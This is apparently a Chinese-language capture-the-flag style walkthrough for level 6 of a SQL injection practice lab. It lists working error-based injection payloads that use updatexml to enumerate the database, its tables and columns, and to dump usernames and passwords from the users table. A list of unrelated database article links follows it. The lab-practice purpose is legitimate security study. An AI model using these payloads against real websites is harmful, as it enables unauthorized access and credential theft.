SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
爱丽_35 分钟前
Redis 分布式锁:SET NX、过期时间、续租、可重入、Redlock 与坑
数据库·redis·分布式
IT小崔40 分钟前
SqlSugar 使用教程
数据库·后端
GIS阵地1 小时前
QgsProviderMetadata 详解(基于 QGIS 3.40.13 API)
数据库·qt·arcgis·oracle·gis·开源软件·qgis
qq_366086221 小时前
sql server OUTER APPLY使用
数据库·sql·mysql
Sunshine for you1 小时前
使用Flask快速搭建轻量级Web应用
jvm·数据库·python
qwehjk20081 小时前
如何从Python初学者进阶为专家?
jvm·数据库·python
zzh0811 小时前
Mysql数据库备份与恢复笔记
数据库·笔记·mysql
枕布响丸辣1 小时前
MySQL 数据库备份与恢复全攻略:从基础到实战
数据库·oracle
dgvri1 小时前
Linux(CentOS)安装 MySQL
linux·mysql·centos
IvorySQL1 小时前
PostgreSQL 技术日报 (3月31日)|五大内核模块补丁评审与问题修复汇总
数据库·postgresql·开源